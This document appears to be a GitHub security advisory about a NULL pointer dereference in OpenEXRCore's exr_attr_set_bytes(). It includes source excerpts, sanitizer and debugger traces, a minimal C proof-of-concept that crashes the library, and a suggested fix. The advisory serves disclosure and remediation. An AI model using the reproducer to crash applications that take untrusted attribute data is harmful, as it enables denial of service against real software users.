Skip to content

GHSA-xx72-f24p-cf6r

CVE Information

Summary

OpenEXRCore has a NULL pointer dereference in exr_attr_set_bytes() when a caller supplies hint_length > 0 with type_hint == NULL.

The public setter validates the top-level exr_attr_bytes_t * value, but it does not validate that type_hint is non-NULL when the hint length is positive. exr_attr_bytes_create() allocates a destination type-hint buffer and then copies from the caller-provided type_hint pointer.

This is reachable through the public OpenEXRCore C API and causes a deterministic crash / denial of service. The API is present in v3.4.12 and current main; it was not present in the checked v3.2.9 or v3.3.11 trees.

Details

Affected code:

src/lib/OpenEXRCore/part_attr.c
src/lib/OpenEXRCore/bytes.c

The public setter checks the top-level val pointer but passes the nested type_hint pointer through unchecked:

exr_result_t
exr_attr_set_bytes (
    exr_context_t               ctxt,
    int                         part_index,
    const char*                 name,
    const exr_attr_bytes_t*     val)
{
    ...

    if (!val)
        return EXR_UNLOCK_AND_RETURN (ctxt->print_error (...));

    ...

    rv = exr_attr_bytes_create (
        ctxt,
        attr->bytes,
        val->hint_length,
        val->size,
        val->type_hint,
        val->data);
}

Location on tested main:

src/lib/OpenEXRCore/part_attr.c:1274-1367

The helper allocates destination storage for the hint and then copies from the caller-provided source pointer:

exr_result_t
exr_attr_bytes_create (
    exr_context_t ctxt,
    exr_attr_bytes_t* u,
    uint32_t h,
    size_t b,
    const void* t,
    const void* d)
{
    exr_result_t rv = exr_attr_bytes_init (ctxt, u, h, b);
    if (rv == EXR_ERR_SUCCESS)
    {
        if (d && u->data) memcpy ((void*) u->data, d, b);
        if (d && u->type_hint) memcpy ((void*) u->type_hint, t, h);
    }

    return rv;
}

Location on tested main:

src/lib/OpenEXRCore/bytes.c:70-87

Triggering state from the PoC:

bytes.size        = 1
bytes.data        = &data
bytes.hint_length = 1
bytes.type_hint   = NULL

Because data is non-NULL and hint_length is positive, exr_attr_bytes_init() creates u->type_hint, then exr_attr_bytes_create() calls:

memcpy(u->type_hint, NULL, 1);

Observed ASAN/UBSAN output on latest main commit b25f9dc9af78d662eb45969e9e1cd395082d1f13:

src/lib/OpenEXRCore/bytes.c:83:62:
runtime error: null pointer passed as argument 2, which is declared to never be null

#0 exr_attr_bytes_create
   src/lib/OpenEXRCore/bytes.c:83:32
#1 exr_attr_set_bytes
   src/lib/OpenEXRCore/part_attr.c
#2 main
   afl-findings/poc/poc_core_bytes_null_type_hint.c:42:12

Observed GDB stack on the same commit with UBSAN recovery enabled:

Program received signal SIGSEGV, Segmentation fault.
__memcpy_avx_unaligned_erms_rtm()

#0 __memcpy_avx_unaligned_erms_rtm()
#1 __asan_memcpy()
#2 exr_attr_bytes_create(
       ctxt=0x516000000080,
       u=<optimized out>,
       h=1,
       b=1,
       t=0x0,
       d=0x7ffff52000e0)
   at src/lib/OpenEXRCore/bytes.c:83
#3 exr_attr_set_bytes(...)
   at src/lib/OpenEXRCore/part_attr.c:1364
#4 main()
   at afl-findings/poc/poc_core_bytes_null_type_hint.c:42

Version scope from source inspection:

v3.2.9:  exr_attr_set_bytes() absent
v3.3.11: exr_attr_set_bytes() absent
v3.4.12: vulnerable API present
main:    vulnerable API present

PoC

Minimal C reproducer:

#include <openexr.h>

#include <stdint.h>
#include <stdio.h>
#include <unistd.h>

static void
ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg)
{
    (void) ctxt;
    (void) code;
    (void) msg;
}

int
main (void)
{
    exr_context_t             ctxt = NULL;
    exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                       part = -1;
    const char*               path = "/tmp/openexr_core_bytes_null_type_hint.exr";
    uint8_t                   data = 0x41;

    init.error_handler_fn = ignore_error;

    if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) !=
        EXR_ERR_SUCCESS)
        return 1;
    if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) !=
        EXR_ERR_SUCCESS)
        return 1;

    exr_attr_bytes_t bytes;
    bytes.size        = 1;
    bytes.data        = &data;
    bytes.hint_length = 1;
    bytes.type_hint   = NULL;

    (void) exr_attr_set_bytes (ctxt, part, "badBytes", &bytes);

    (void) exr_finish (&ctxt);
    unlink (path);
    return 0;
}

Reproduction command on the latest-main validation build:

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \
  /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_bytes_null_type_hint

Expected result:

runtime error: null pointer passed as argument 2
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior

With UBSAN recovery enabled, the same PoC continues to the actual crash:

ERROR: AddressSanitizer: SEGV
SUMMARY: AddressSanitizer: SEGV in __memcpy_avx_unaligned_erms_rtm

Saved evidence:

evidence/afl-findings/poc/poc_core_bytes_null_type_hint.c
evidence/afl-findings/poc/poc_core_bytes_null_type_hint.san.out
evidence/afl-findings/poc/poc_core_bytes_null_type_hint.recover.out
evidence/latest-main-check/logs/poc_core_bytes_null_type_hint.run.out
evidence/latest-main-check/logs/poc_core_bytes_null_type_hint.gdb_latest_main.txt

Impact

This is a public C API NULL pointer dereference / crash in OpenEXRCore.

Applications that call exr_attr_set_bytes() with untrusted or insufficiently validated bytes attribute data can be crashed by hint_length > 0 together with type_hint == NULL.

Confirmed impact:

availability loss
process crash
public C API denial of service

Not confirmed:

remote code execution
information disclosure
memory corruption beyond the NULL-source crash
direct crafted .exr file trigger through the standard reader path

Suggested severity:

Moderate

Suggested CWE:

CWE-476: NULL Pointer Dereference
CWE-20: Improper Input Validation

Suggested fix:

Reject hint_length > 0 && type_hint == NULL before calling exr_attr_bytes_create() or copying the type hint.